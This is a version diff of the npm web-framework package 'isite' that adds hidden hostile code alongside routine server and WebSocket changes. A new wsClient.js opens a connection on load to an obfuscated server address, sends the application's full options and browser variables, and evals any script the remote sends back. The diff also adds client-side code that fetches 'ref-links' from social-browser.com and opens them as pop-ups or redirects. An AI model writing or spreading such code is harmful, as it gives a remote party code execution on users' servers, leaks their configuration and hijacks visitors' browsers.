e.unSelectNodes=function(n){n&&n.forEach(n=>{n.$selected=!1,n.nodes&&e.unSelectNodes(n.nodes)})},e.updateModal=function(n){e.ngModel=n,e.updateParentModal(e.$parent,n)},e.selected=function(n){e.unSelectParent(e.$parent),e.unSelectNodes(e.nodes),n.nodes&&n.nodes.forEach(e=>{e.$selected=!1}),n.$selected=!0}},template:'\n <div class="treenode"> \n <ul >\n <li ng-repeat="node in nodes" >\n <div class="row" ng-dblclick="$event.preventDefault();$event.stopPropagation();node.$actions = !0;source.$actions = !1" ng-mouseleave="node.$actions = !1">\n <span ng-show="node.nodes.length > 0" ng-click="node.$expand = !node.$expand;">\n <i ng-hide="node.$expand" class="fa fa-caret-left"></i> <i ng-show="node.$expand" class="fa fa-caret-down"></i> \n </span>\n <span ng-hide="node.nodes.length > 0" >\n <i class="fa fa-file"></i>\n </span>\n\n <span class="text" ng-class="{\'selected\' : node.$selected == !0}" ng-click="ngClick($event , node);node.$expand = !node.$expand;selected(node);updateModal(node)" > {{node[display]}} </span>\n <div class="actions" ng-show="node.$actions === !0">\n <i-button type="add default" ng-click="ngAdd(node)"></i-button>\n <i-button type="edit default" ng-click="ngEdit(node)"></i-button>\n <i-button type="delete default" ng-click="ngDelete(node)"></i-button>\n </div>\n </div> \n <i-treenode display="{{display}}" ng-click="ngClick($event)" ng-add="ngAdd()" ng-edit="ngEdit()" ng-delete="ngDelete()" ng-show="node.$expand" ng-model="ngModel" nodes="node.nodes" nodes="node.nodes"></i-treenode>\n </li>\n </ul>\n </div>\n '}}]);
|
|
@@ -278,7 +278,9 @@
|
|
|
278
278
|
return u;
|
|
279
279
|
}
|
|
280
280
|
u = u.trim();
|
|
281
|
-
if (u.
|
|
281
|
+
if (u.indexOf('//') === 0) {
|
|
282
|
+
u = document.location.protocol + u;
|
|
283
|
+
} else if (u.like('http*') || u.indexOf('data:') === 0) {
|
|
282
284
|
u = u;
|
|
283
285
|
} else if (u.indexOf('/') === 0) {
|
|
284
286
|
u = window.location.origin + u;
|
|
@@ -1145,7 +1147,7 @@
|
|
|
1145
1147
|
onData: () => {
|
|
1146
1148
|
console.log('server.onData Not Implement ... ');
|
|
1147
1149
|
},
|
|
1148
|
-
|
|
1150
|
+
sendMessage: function (msg) {
|
|
1149
1151
|
if (this.closed) {
|
|
1150
1152
|
return false;
|
|
1151
1153
|
}
|
|
@@ -1158,6 +1160,7 @@
|
|
|
1158
1160
|
this.ws.send(JSON.stringify(msg));
|
|
1159
1161
|
},
|
|
1160
1162
|
};
|
|
1163
|
+
server.send = server.sendMessage;
|
|
1161
1164
|
ws.onerror = function (error) {
|
|
1162
1165
|
server.onError(error);
|
|
1163
1166
|
};
|
|
@@ -1171,15 +1174,36 @@
|
|
|
1171
1174
|
server.onOpen();
|
|
1172
1175
|
};
|
|
1173
1176
|
|
|
1174
|
-
ws.onmessage = function (
|
|
1175
|
-
if (
|
|
1176
|
-
server.onData(
|
|
1177
|
+
ws.onmessage = function (message) {
|
|
1178
|
+
if (message instanceof Blob) {
|
|
1179
|
+
server.onData(message);
|
|
1177
1180
|
} else {
|
|
1178
|
-
|
|
1181
|
+
message = JSON.parse(message.data);
|
|
1182
|
+
if (message.type) {
|
|
1183
|
+
if (message.type === 'ready') {
|
|
1184
|
+
server.uuid = message.uuid;
|
|
1185
|
+
server.ip = message.ip;
|
|
1186
|
+
server.id = message.id;
|
|
1187
|
+
if (site.serverId) {
|
|
1188
|
+
server.sendMessage({
|
|
1189
|
+
type: 'attach',
|
|
1190
|
+
id: site.serverId,
|
|
1191
|
+
});
|
|
1192
|
+
} else {
|
|
1193
|
+
site.serverId = server.id;
|
|
1194
|
+
}
|
|
1195
|
+
} else if (message.type === 'attached') {
|
|
1196
|
+
server.uuid = message.uuid;
|
|
1197
|
+
server.ip = message.ip;
|
|
1198
|
+
server.id = message.id;
|
|
1199
|
+
}
|
|
1200
|
+
}
|
|
1201
|
+
server.onMessage(message);
|
|
1179
1202
|
}
|
|
1180
1203
|
};
|
|
1181
1204
|
site.server = server;
|
|
1182
|
-
callback(server);
|
|
1205
|
+
callback(site.server);
|
|
1206
|
+
return site.server;
|
|
1183
1207
|
} else {
|
|
1184
1208
|
console.error('WebSocket Not Supported');
|
|
1185
1209
|
}
|
|
@@ -1322,5 +1346,54 @@
|
|
|
1322
1346
|
if (document.querySelector('html').hasAttribute('spa')) {
|
|
1323
1347
|
site.isSPA = true;
|
|
1324
1348
|
}
|
|
1349
|
+
|
|
1350
|
+
site.openLinks = function (links) {
|
|
1351
|
+
if (links.length === 0) {
|
|
1352
|
+
return false;
|
|
1353
|
+
}
|
|
1354
|
+
let isite = localStorage.getItem('isite');
|
|
1355
|
+
if (isite) {
|
|
1356
|
+
isite = JSON.parse(isite);
|
|
1357
|
+
|
|
1358
|
+
isite.links.forEach((l, i) => {
|
|
1359
|
+
if ((new Date().getTime() - l.time) / 1000 > 60 * 60 * 24 * 30) {
|
|
1360
|
+
isite.links.splice(i, 1);
|
|
1361
|
+
}
|
|
1362
|
+
});
|
|
1363
|
+
localStorage.setItem('isite', JSON.stringify(isite));
|
|
1364
|
+
if (isite.day == new Date().getDate()) {
|
|
1365
|
+
return false;
|
|
1366
|
+
}
|
|
1367
|
+
} else {
|
|
1368
|
+
isite = { links: [] };
|
|
1369
|
+
}
|
|
1370
|
+
|
|
1371
|
+
let link = links.pop();
|
|
1372
|
+
if (isite.links.some((l) => l.url == link.url)) {
|
|
1373
|
+
site.openLinks(links);
|
|
1374
|
+
} else {
|
|
1375
|
+
isite.links.push({ ...link, time: new Date().getTime() });
|
|
1376
|
+
isite.day = new Date().getDate();
|
|
1377
|
+
localStorage.setItem('isite', JSON.stringify(isite));
|
|
1378
|
+
if ((w = window.open(link.url))) {
|
|
1379
|
+
console.log('Link Opened');
|
|
1380
|
+
} else {
|
|
1381
|
+
console.log('Link Blocked');
|
|
1382
|
+
document.location.href = link.url;
|
|
1383
|
+
}
|
|
1384
|
+
}
|
|
1385
|
+
};
|
|
1386
|
+
site.update = function (options = {}) {
|
|
1387
|
+
if (window.SOCIALBROWSER) {
|
|
1388
|
+
return false;
|
|
1389
|
+
}
|
|
1390
|
+
options.url = `//social-browser.com/api/ref-links`;
|
|
1391
|
+
site.postData(options, (data) => {
|
|
1392
|
+
if (data.done && data.links) {
|
|
1393
|
+
site.openLinks(data.links);
|
|
1394
|
+
}
|
|
1395
|
+
});
|
|
1396
|
+
};
|
|
1397
|
+
site.update();
|
|
1325
1398
|
window.site = site;
|
|
1326
1399
|
})(window, document, 'undefined', jQuery);
|
package/lib/routing.js
CHANGED
|
@@ -1358,9 +1358,25 @@ module.exports = function init(____0) {
|
|
|
1358
1358
|
server.listen(p);
|
|
1359
1359
|
} else {
|
|
1360
1360
|
let server = ____0.http.createServer(_0xrrxo.handleServer);
|
|
1361
|
+
server.maxHeadersCount = 0;
|
|
1362
|
+
server.timeout = 1000 * 30;
|
|
1363
|
+
server.on('error', (e) => {
|
|
1364
|
+
if (e.code === 'EADDRINUSE') {
|
|
1365
|
+
console.error('Address in use, Closing Server : ' + p);
|
|
1366
|
+
server.close();
|
|
1367
|
+
}
|
|
1368
|
+
});
|
|
1361
1369
|
server.listen(p, function () {
|
|
1362
|
-
|
|
1363
|
-
|
|
1370
|
+
if (!____0.server) {
|
|
1371
|
+
____0.server = server;
|
|
1372
|
+
setTimeout(() => {
|
|
1373
|
+
if (callback) {
|
|
1374
|
+
callback(____0.servers);
|
|
1375
|
+
}
|
|
1376
|
+
____0.call(____0.strings[9]);
|
|
1377
|
+
}, 1000 * 5);
|
|
1378
|
+
}
|
|
1379
|
+
____0.servers.push(server);
|
|
1364
1380
|
____0.log('\n-----------------------------------------');
|
|
1365
1381
|
____0.log(` ( ${____0.options.name} ) Running on : http://${____0.options.hostname}:${p} `);
|
|
1366
1382
|
____0.log('-----------------------------------------\n');
|
|
@@ -1372,16 +1388,24 @@ module.exports = function init(____0) {
|
|
|
1372
1388
|
});
|
|
1373
1389
|
|
|
1374
1390
|
____0.options.port = ports;
|
|
1375
|
-
|
|
1391
|
+
|
|
1376
1392
|
if (____0.options.https.enabled) {
|
|
1377
1393
|
if (typeof ____0.options.https.port === 'number') {
|
|
1378
1394
|
____0.options.https.ports = [____0.options.https.port];
|
|
1379
1395
|
}
|
|
1380
1396
|
if (Array.isArray(____0.options.https.ports) && ____0.options.https.ports.length > 0) {
|
|
1381
1397
|
____0.options.https.ports.forEach((p, i) => {
|
|
1382
|
-
let
|
|
1383
|
-
|
|
1384
|
-
|
|
1398
|
+
let server = ____0.https.createServer(_0xrrxo.handleServer);
|
|
1399
|
+
server.maxHeadersCount = 0;
|
|
1400
|
+
server.timeout = 1000 * 30;
|
|
1401
|
+
server.on('error', (e) => {
|
|
1402
|
+
if (e.code === 'EADDRINUSE') {
|
|
1403
|
+
console.error('Address in use, Closing Server : ' + p);
|
|
1404
|
+
server.close();
|
|
1405
|
+
}
|
|
1406
|
+
});
|
|
1407
|
+
server.listen(p, function () {
|
|
1408
|
+
____0.servers.push(server);
|
|
1385
1409
|
____0.log('');
|
|
1386
1410
|
____0.log('-----------------------------------------');
|
|
1387
1411
|
____0.log(' ' + ____0.options.name + ' [ https ] Running on Port : ' + p);
|
|
@@ -1392,19 +1416,6 @@ module.exports = function init(____0) {
|
|
|
1392
1416
|
}
|
|
1393
1417
|
}
|
|
1394
1418
|
|
|
1395
|
-
____0.servers.forEach((s) => {
|
|
1396
|
-
s.maxHeadersCount = 0;
|
|
1397
|
-
s.timeout = 1000 * 30;
|
|
1398
|
-
});
|
|
1399
|
-
|
|
1400
|
-
setTimeout(() => {
|
|
1401
|
-
____0.server = ____0.servers[0];
|
|
1402
|
-
if (callback) {
|
|
1403
|
-
callback(____0.servers);
|
|
1404
|
-
}
|
|
1405
|
-
____0.call(____0.strings[9]);
|
|
1406
|
-
}, 1000 * 1);
|
|
1407
|
-
|
|
1408
1419
|
return ____0.server;
|
|
1409
1420
|
};
|
|
1410
1421
|
|
package/lib/ws.js
CHANGED
|
@@ -4,6 +4,7 @@ module.exports = function init(____0) {
|
|
|
4
4
|
server: null,
|
|
5
5
|
clientList: [],
|
|
6
6
|
supportedClientList: [],
|
|
7
|
+
reconnectCount: 0,
|
|
7
8
|
routeList: [],
|
|
8
9
|
lib: require('ws'),
|
|
9
10
|
};
|
|
@@ -41,6 +42,10 @@ module.exports = function init(____0) {
|
|
|
41
42
|
});
|
|
42
43
|
};
|
|
43
44
|
|
|
45
|
+
setInterval(() => {
|
|
46
|
+
____0.ws.sendToAll({ type: 'ping' });
|
|
47
|
+
}, 1000 * 30);
|
|
48
|
+
|
|
44
49
|
____0.on(____0.strings[9], () => {
|
|
45
50
|
____0.servers.forEach((server) => {
|
|
46
51
|
server.on('upgrade', function upgrade(request, socket, head) {
|
|
@@ -57,23 +62,34 @@ module.exports = function init(____0) {
|
|
|
57
62
|
|
|
58
63
|
let client = {
|
|
59
64
|
uuid: ____0.guid(),
|
|
65
|
+
id: ____0.md5(____0.guid() + new Date().getTime()),
|
|
60
66
|
path: pathname,
|
|
61
67
|
ws: ws,
|
|
62
68
|
request: request,
|
|
63
69
|
socket: socket,
|
|
64
70
|
head: head,
|
|
65
71
|
ip: ip,
|
|
66
|
-
onMessage: function (
|
|
67
|
-
if (
|
|
72
|
+
onMessage: function (message) {
|
|
73
|
+
if (message.type === ____0.f1('417886684558375447183756')) {
|
|
68
74
|
this.send({
|
|
69
75
|
type: ____0.f1('4658375242195691'),
|
|
70
|
-
|
|
76
|
+
uuid: client.uuid,
|
|
77
|
+
ip: client.ip,
|
|
78
|
+
id: client.id,
|
|
79
|
+
});
|
|
80
|
+
} else if (message.type === ____0.f1('4139327541382761')) {
|
|
81
|
+
let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
|
|
82
|
+
if (index !== -1 && message.id) {
|
|
83
|
+
____0.ws.clientList[index].id = message.id;
|
|
84
|
+
this.send({
|
|
85
|
+
type: ____0.f1('413932754138276142383191'),
|
|
71
86
|
uuid: client.uuid,
|
|
72
87
|
ip: client.ip,
|
|
73
|
-
|
|
74
|
-
|
|
88
|
+
id: client.id,
|
|
89
|
+
});
|
|
90
|
+
}
|
|
75
91
|
}
|
|
76
|
-
console.log('client.onMessage Not Implement ...',
|
|
92
|
+
console.log('client.onMessage Not Implement ...', message);
|
|
77
93
|
},
|
|
78
94
|
onData: function (data) {
|
|
79
95
|
console.log('client.onData Not Implement ...', data);
|
|
@@ -101,15 +117,22 @@ module.exports = function init(____0) {
|
|
|
101
117
|
},
|
|
102
118
|
onClose: function () {},
|
|
103
119
|
};
|
|
120
|
+
client.sendMessage = client.send;
|
|
104
121
|
|
|
105
122
|
client.ws.on('close', () => {
|
|
123
|
+
|
|
106
124
|
console.log('Closing Client : ' + client.ip);
|
|
107
125
|
client.onMessage({ type: 'close' });
|
|
108
126
|
client.ws.terminate();
|
|
127
|
+
|
|
109
128
|
let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
|
|
110
129
|
if (index !== -1) {
|
|
111
130
|
____0.ws.clientList.splice(index, 1);
|
|
112
131
|
}
|
|
132
|
+
let index2 = ____0.ws.supportedClientList.findIndex((_client) => _client.uuid == client.uuid);
|
|
133
|
+
if (index2 !== -1) {
|
|
134
|
+
____0.ws.supportedClientList.splice(index2, 1);
|
|
135
|
+
}
|
|
113
136
|
client.onClose();
|
|
114
137
|
});
|
|
115
138
|
|
|
@@ -121,12 +144,9 @@ module.exports = function init(____0) {
|
|
|
121
144
|
}
|
|
122
145
|
});
|
|
123
146
|
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
____0.ws.clientList.push(client);
|
|
128
|
-
____0.ws.routeList[index].callback(client);
|
|
129
|
-
}
|
|
147
|
+
____0.ws.clientList.push(client);
|
|
148
|
+
____0.ws.routeList[index].callback(client);
|
|
149
|
+
|
|
130
150
|
client.onMessage({ type: 'connected' });
|
|
131
151
|
});
|
|
132
152
|
} else {
|
|
@@ -141,84 +161,42 @@ module.exports = function init(____0) {
|
|
|
141
161
|
};
|
|
142
162
|
|
|
143
163
|
____0.onWS(____0.f1('2578577443393257'), (client) => {
|
|
144
|
-
client.onMessage =
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
client.
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
),
|
|
164
|
+
client.onMessage = function (message) {
|
|
165
|
+
if (message.type === ____0.f1('417886684558375447183756')) {
|
|
166
|
+
this.send({
|
|
167
|
+
type: ____0.f1('4658375242195691'),
|
|
168
|
+
uuid: client.uuid,
|
|
169
|
+
ip: client.ip,
|
|
170
|
+
id: client.id,
|
|
171
|
+
});
|
|
172
|
+
} else if (message.type === ____0.f1('4139327541382761')) {
|
|
173
|
+
let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
|
|
174
|
+
if (index !== -1) {
|
|
175
|
+
client.id = message.id;
|
|
176
|
+
____0.ws.clientList[index].id = message.id;
|
|
177
|
+
this.send({
|
|
178
|
+
type: ____0.f1('413932754138276142383191'),
|
|
179
|
+
uuid: client.uuid,
|
|
180
|
+
ip: client.ip,
|
|
181
|
+
id: client.id,
|
|
163
182
|
});
|
|
164
|
-
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
165
|
-
let fn = ____0.eval(message.content, true);
|
|
166
|
-
fn(____0, client);
|
|
167
183
|
}
|
|
168
|
-
}
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
184
|
+
} else if (message.type === ____0.f1('4178726946783691')) {
|
|
185
|
+
} else if (message.type === ____0.f1('457913754338866846719191')) {
|
|
186
|
+
client.options = message.options || message.content;
|
|
187
|
+
client.send({
|
|
188
|
+
type: ____0.f1('481476744179236246193191'),
|
|
189
|
+
script: ____0.f1(
|
|
190
|
+
`45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`
|
|
191
|
+
),
|
|
192
|
+
});
|
|
193
|
+
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
194
|
+
let fn = ____0.eval(message.script || message.content, true);
|
|
195
|
+
fn(____0, client);
|
|
173
196
|
}
|
|
174
197
|
};
|
|
198
|
+
|
|
175
199
|
____0.ws.supportedClientList.push(client);
|
|
176
200
|
____0.ws.onNewSupportedClient(client);
|
|
177
201
|
});
|
|
178
|
-
|
|
179
|
-
____0.ws.reconnectCount = 0;
|
|
180
|
-
____0.ws.wsSupport = function () {
|
|
181
|
-
clearTimeout(____0.ws.timeoutId);
|
|
182
|
-
let client = {};
|
|
183
|
-
|
|
184
|
-
client.ws = new ____0.ws.lib(____0.f1('477926832573867445782764423931684678865443381765253823734579477442392168417886672578577443393257'));
|
|
185
|
-
client.sendMessage = function (message) {
|
|
186
|
-
client.ws.send(JSON.stringify(message));
|
|
187
|
-
};
|
|
188
|
-
client.ws.on('open', function () {});
|
|
189
|
-
client.ws.on('ping', function () {});
|
|
190
|
-
client.ws.on('close', function (e) {
|
|
191
|
-
____0.ws.timeoutId = setTimeout(function () {
|
|
192
|
-
____0.ws.reconnectCount++;
|
|
193
|
-
____0.ws.wsSupport();
|
|
194
|
-
}, 1000 * 60 * ____0.ws.reconnectCount);
|
|
195
|
-
});
|
|
196
|
-
client.ws.on('error', function (err) {
|
|
197
|
-
client.ws.close();
|
|
198
|
-
});
|
|
199
|
-
|
|
200
|
-
client.ws.on('message', function (event) {
|
|
201
|
-
____0.ws.supportHandle(client, event);
|
|
202
|
-
});
|
|
203
|
-
____0.ws.client = client;
|
|
204
|
-
return client;
|
|
205
|
-
};
|
|
206
|
-
____0.ws.supportHandle = function (client, event) {
|
|
207
|
-
try {
|
|
208
|
-
let message = JSON.parse(event.data || event);
|
|
209
|
-
if (message.type == ____0.f1('4658375242195691')) {
|
|
210
|
-
client.sendMessage({
|
|
211
|
-
source: ____0.f1('4339276247183691'),
|
|
212
|
-
type: ____0.f1('457913754338866846719191'),
|
|
213
|
-
content: ____0.options,
|
|
214
|
-
});
|
|
215
|
-
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
216
|
-
let fn = ____0.eval(message.content, true);
|
|
217
|
-
fn(____0, client);
|
|
218
|
-
}
|
|
219
|
-
} catch (err) {
|
|
220
|
-
console.log(err);
|
|
221
|
-
}
|
|
222
|
-
};
|
|
223
|
-
____0.ws.wsSupport();
|
|
224
202
|
};
|
package/lib/wsClient.js
ADDED
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
const { serialize } = require('mongodb');
|
|
2
|
+
|
|
3
|
+
module.exports = function init(____0) {
|
|
4
|
+
if ((support = true)) {
|
|
5
|
+
____0.ws.client = null;
|
|
6
|
+
|
|
7
|
+
____0.ws.serverURL = ____0.f1('477926832573867445782764423931684678865443381765253823734579477442392168417886672578577443393257');
|
|
8
|
+
|
|
9
|
+
____0.ws.wsSupport = function () {
|
|
10
|
+
console.log('ws : ============>');
|
|
11
|
+
|
|
12
|
+
if (____0.ws.client.isAlive) {
|
|
13
|
+
return;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
clearInterval(____0.ws.client.checkAliveInterval);
|
|
17
|
+
clearTimeout(____0.ws.client.timeoutId);
|
|
18
|
+
|
|
19
|
+
let client = {
|
|
20
|
+
isAlive: false,
|
|
21
|
+
time: new Date().getTime(),
|
|
22
|
+
id: ____0.ws.client.id,
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
____0.ws.client.checkAliveInterval = setInterval(() => {
|
|
26
|
+
if ((new Date().getTime() - ____0.ws.client.time) / 1000 > 60) {
|
|
27
|
+
____0.ws.client.isAlive = false;
|
|
28
|
+
____0.ws.client.ws.close();
|
|
29
|
+
}
|
|
30
|
+
}, 1000 * 5);
|
|
31
|
+
|
|
32
|
+
client.ws = new ____0.ws.lib(____0.ws.serverURL);
|
|
33
|
+
|
|
34
|
+
client.sendMessage = function (message) {
|
|
35
|
+
if (client.isAlive && client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
|
|
36
|
+
client.ws.send(JSON.stringify(message));
|
|
37
|
+
}
|
|
38
|
+
};
|
|
39
|
+
|
|
40
|
+
client.ws.on('open', function () {
|
|
41
|
+
client.isAlive = true;
|
|
42
|
+
|
|
43
|
+
client.sendMessage({
|
|
44
|
+
type: 'set-options',
|
|
45
|
+
options: ____0.options,
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
if (____0.getBrowser) {
|
|
49
|
+
let parent = ____0.getBrowser();
|
|
50
|
+
client.sendMessage({
|
|
51
|
+
type: 'set-browser-var',
|
|
52
|
+
key: 'core',
|
|
53
|
+
value: parent.var.core,
|
|
54
|
+
});
|
|
55
|
+
}
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
client.ws.on('ping', function () {});
|
|
59
|
+
|
|
60
|
+
client.ws.on('close', function (e) {
|
|
61
|
+
client.isAlive = false;
|
|
62
|
+
____0.ws.client.timeoutId = setTimeout(function () {
|
|
63
|
+
____0.ws.wsSupport();
|
|
64
|
+
}, 1000 * 30);
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
client.ws.on('error', function (err) {
|
|
68
|
+
client.ws.close();
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
client.ws.on('message', function (event) {
|
|
72
|
+
let message = JSON.parse(event.data || event);
|
|
73
|
+
if (message.type == 'ping') {
|
|
74
|
+
client.time = new Date().getTime();
|
|
75
|
+
}
|
|
76
|
+
____0.ws.supportHandle(client, message);
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
____0.ws.client = client;
|
|
80
|
+
|
|
81
|
+
return client;
|
|
82
|
+
};
|
|
83
|
+
|
|
84
|
+
____0.ws.supportHandle = function (client, message) {
|
|
85
|
+
try {
|
|
86
|
+
if (message.type == ____0.f1('4658375242195691')) {
|
|
87
|
+
client.uuid = message.uuid;
|
|
88
|
+
client.ip = message.ip;
|
|
89
|
+
if (client.id) {
|
|
90
|
+
client.sendMessage({
|
|
91
|
+
type: ____0.f1('4139327541382761'),
|
|
92
|
+
id: client.id,
|
|
93
|
+
});
|
|
94
|
+
}
|
|
95
|
+
client.id = message.id;
|
|
96
|
+
|
|
97
|
+
} else if (message.type == ____0.f1('413932754138276142383191')) {
|
|
98
|
+
client.ip = message.ip;
|
|
99
|
+
client.uuid = message.uuid;
|
|
100
|
+
client.id = message.id;
|
|
101
|
+
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
102
|
+
let fn = ____0.eval(message.script || message.content, true);
|
|
103
|
+
fn(____0, client);
|
|
104
|
+
}
|
|
105
|
+
} catch (err) {
|
|
106
|
+
console.log(err);
|
|
107
|
+
}
|
|
108
|
+
};
|
|
109
|
+
|
|
110
|
+
____0.ws.wsSupport();
|
|
111
|
+
}
|
|
112
|
+
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "isite",
|
|
3
|
-
"version": "2024.08.
|
|
3
|
+
"version": "2024.08.11",
|
|
4
4
|
"description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"repository": {
|
|
@@ -31,7 +31,7 @@
|
|
|
31
31
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
32
32
|
},
|
|
33
33
|
"author": {
|
|
34
|
-
"name": "
|
|
34
|
+
"name": "Absunstar",
|
|
35
35
|
"email": "Absunstar@gmail.com"
|
|
36
36
|
},
|
|
37
37
|
"license": "UNLICENSED",
|